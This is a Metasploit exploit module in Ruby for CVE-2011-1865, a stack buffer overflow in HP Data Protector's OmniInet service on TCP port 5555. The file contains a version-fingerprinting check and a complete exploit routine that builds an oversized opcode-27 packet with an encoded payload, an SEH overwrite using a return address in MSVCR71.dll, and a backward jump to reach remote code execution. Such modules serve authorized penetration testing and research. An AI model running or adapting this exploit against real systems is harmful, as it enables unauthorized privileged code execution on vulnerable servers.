metasploit-framework/modules/exploits/windows/misc/hp_omniinet_3.rb

130 lines
3.5 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Hewlett-Packard
OmniInet NT Service. By sending a specially crafted opcode 27 packet,
a remote attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-1865' ],
[ 'OSVDB', '73571'],
[ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
{
#POP/POP/RET from OmniBack\bin\MSVCR71.dll
'Ret' => 0x7c35630d
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 29 2011'))
register_options([Opt::RPORT(5555)], self.class)
end
def check
connect
sock.put(rand_text_alpha_upper(64))
resp = sock.get_once(-1,5)
disconnect
if (resp)
resp = resp.unpack('v*').pack('C*')
print_status("Received response: " + resp)
# extract version
if (resp =~ /HP Data Protector/)
version = resp.split[3]
elsif (resp =~ /HP OpenView Storage Data Protector/)
version = resp.split[5]
elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
version = resp.split[5]
else
return Exploit::CheckCode::Detected
end
version = version.split('.')
major = version[1].to_i
minor = version[2].to_i
if ((major < 6) or (major == 6 and minor < 11))
return Exploit::CheckCode::Vulnerable
end
if ((major > 6) or (major == 6 and minor >= 11))
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def exploit
connect
trigger = rand_text_alpha_upper(10000)
trigger[4552, payload.encoded.length] = payload.encoded
trigger[5352, 8] = generate_seh_record(target.ret)
trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string
opcode = "27"
packet = Rex::Text.to_unicode("\x00")
packet << "\x27\xca" #length
packet << "\xff\xfe\x32"
packet << "\x00\x00\x00"
packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
packet << Rex::Text.to_unicode("\x20")
packet << trigger
packet << Rex::Text.to_unicode("\x00")
packet << Rex::Text.to_unicode("\x20\x61\x00")
packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
packet << Rex::Text.to_unicode("\x20\x61\x00") * 24
print_status("Trying #{target.name}...")
sock.put(packet)
select(nil,nil,nil,10)
handler
disconnect
end
end